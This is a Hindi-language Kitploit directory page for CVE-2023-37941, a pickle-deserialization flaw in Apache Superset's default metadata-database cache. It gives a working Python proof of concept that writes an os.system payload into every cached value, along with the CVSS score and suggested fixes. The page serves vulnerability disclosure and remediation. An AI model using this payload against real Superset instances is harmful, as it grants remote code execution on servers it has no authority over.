Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-37941 — पिकल का उपयोग करके सुपरसेट के डिफ़ॉल्ट कैश पर शोषण | Kitploit
उपकरण/GitHubGitHub/barroqueiro/cve-2023-37941
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

पिकल का उपयोग करके सुपरसेट के डिफ़ॉल्ट कैश पर शोषण

रिपॉजिटरी देखें
1213 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सुपरसेट के डिफ़ॉल्ट कैश में पिकल RCE का शोषण

जानकारी

root@kitploit:~
[ लेखक ] Dinis Cruz
[ परियोजना ] Superset

विवरण

Apache का Superset कैशिंग के लिए विभिन्न विकल्प प्रस्तुत करता है, ये सभी Flask-Caching पर आधारित हैं। एक अंतर्निहित कैश प्रदान किया जाता है जो बाद में पुनर्प्राप्ति के लिए मानों को क्रमबद्ध (serialize) करता है। यह क्रमांकन और पुनर्प्राप्ति Pickle का उपयोग करके किया जाता है, जो पायथन ऑब्जेक्ट्स के डी-सीरियलाइज़ेशन और इस प्रकार कोड के निष्पादन की अनुमति देता है।

अंतर्निहित कैश मेटाडेटा डेटाबेस के भीतर जानकारी लिखता है, जिसका अर्थ है कि इस डेटाबेस तक पहुंच रखने वाला हमलावर अपने विशेषाधिकारों को बढ़ा सकता है और सुपरसेट की सेवा देने वाली मशीन/कंटेनर तक दूरस्थ पहुंच प्राप्त कर सकता है।

प्रभावित URL [या घटक]

MetaStoreCache वर्ग, जो सूचना के क्रमांकन के लिए PickleKeyValueCodec वर्ग का उपयोग करता है।

प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह मुद्दा पहले एक साफ सुपरसेट इंस्टॉल बनाकर दोहराया गया था जो डिफ़ॉल्ट रूप से अंतर्निहित कैश का उपयोग करेगा।

पहले से स्थापित ज्ञान के साथ कि इस मुद्दे का शोषण करने के लिए डेटाबेस तक पहुंच आवश्यक है। हम पिकल शोषण के साथ सभी कैश किए गए मानों के मानों को अपडेट कर सकते हैं। बाद में, एक बार मान उपयोगकर्ता को वापस परोसा जाता है, तो पिकल मॉड्यूल डेटा को क्रमबद्ध करेगा और हमारा कोड निष्पादित करेगा। एक पायथन PoC नीचे पाया जा सकता है।

root@kitploit:~
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

यह स्क्रिप्ट डेटाबेस के भीतर कैश किए गए सभी मानों को अपडेट करती है, और एक बार डेटा उपयोगकर्ता को वापस परोसा जाता है, तो प्रदर्शन उद्देश्यों के लिए /tmp निर्देशिका के भीतर एक evil.sh फ़ाइल बनाई जाती है।

प्रभावित उपयोगकर्ता

सभी उपयोगकर्ता प्रभावित हो सकते हैं।

CWE

  • CWE-502

CVSS स्कोर

  • हमला वेक्टर (AV) - नेटवर्क (N)
  • हमला जटिलता (AC) - निम्न (L)
  • आवश्यक विशेषाधिकार (PR) - उच्च (H)
  • उपयोगकर्ता इंटरैक्शन (UI) - कोई नहीं (N)
  • दायरा (S) - परिवर्तित (C)
  • गोपनीयता (C) - उच्च (H)
  • अखंडता (I) - उच्च (H)
  • उपलब्धता (A) - उच्च (H)

स्कोर: 9.1

सुझाया गया सुधार (उपचार)

जबकि सुधार सुपरसेट टीम पर निर्भर है। बड़ी समस्या डेटा क्रमांकन के लिए पिकल के उपयोग पर निर्भर करती है। जहां तक मैं कमिट #23888 से समझता हूं, अन्य घटकों से पिकल क्रमांकन को हटाने के लिए एक बदलाव किया गया था, लेकिन इसे बनाए रखा गया क्योंकि "मनमाने बाइनरी प्रकारों को संभालने" की आवश्यकता थी। सबसे साफ समाधान किसी अन्य क्रमांकन तंत्र पर स्विच करना होगा, हालांकि कोई एक प्रतिबंधित unpickler लागू कर सकता है जो एक निश्चित समाधान नहीं है लेकिन इसे लागू करने में संभवतः कम काम की आवश्यकता होगी।

पूर्वापेक्षाएँ

सुपरसेट इंस्टॉलेशन द्वारा उपयोग किए जा रहे मेटाडेटा डेटाबेस तक पहुंच।

उपयोग किए गए उपकरण और आवश्यक सेटअप

कोई विशेष सेटअप नहीं, केवल पेलोड उत्पन्न करने के लिए एक पायथन इंटरप्रेटर, दुर्भावनापूर्ण पेलोड का डेटाबेस में परिचय विभिन्न तरीकों से किया जा सकता है।

टूल डाउनलोड करें